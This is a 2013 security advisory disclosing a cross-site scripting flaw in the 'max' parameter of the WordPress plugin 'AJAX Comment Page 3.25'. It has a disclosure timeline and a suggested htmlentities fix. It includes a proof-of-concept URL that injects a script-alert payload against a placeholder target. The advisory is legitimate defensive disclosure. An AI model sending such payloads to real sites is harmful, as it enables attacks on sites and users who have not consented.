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SSCHADV2013-006 - WordPress Plugin 'AJAX Comment Page 3.25' Cross-site scripting vulnerability

Advisory:
WordPress Plugin ‘AJAX Comment Page 3.25’ Cross-site scripting vulnerability
Advisory ID:
SSCHADV2013-006
Author:
Stefan Schurtz
Affected Software:
Successfully tested on AJAX Comment Page 3.25
Vendor URL:
Vendor Status:
fixed
CVE-ID:
Requested
 
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Vulnerability Description
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The parameter ‘max’ of the WordPress plugin ‘AJAX Comment Page’ is prone to a XSS vulnerability
 
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PoC-Exploit
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http://[target]/wp-content/plugins/ajax-comment-page/js.php?max=<script>alert(/xss/)</script>

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Solution
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// ajax-comment-page/js.php

max = <?php echo htmlentities($_GET["max"]);?>;

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Disclosure Timeline
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30-Mar-2013 – informed plugins@wordpress.org

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Credits
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Vulnerability found and advisory written by Stefan Schurtz.

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References
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http://www.darksecurity.de/advisories/2013/SSCHADV2013-006.txt

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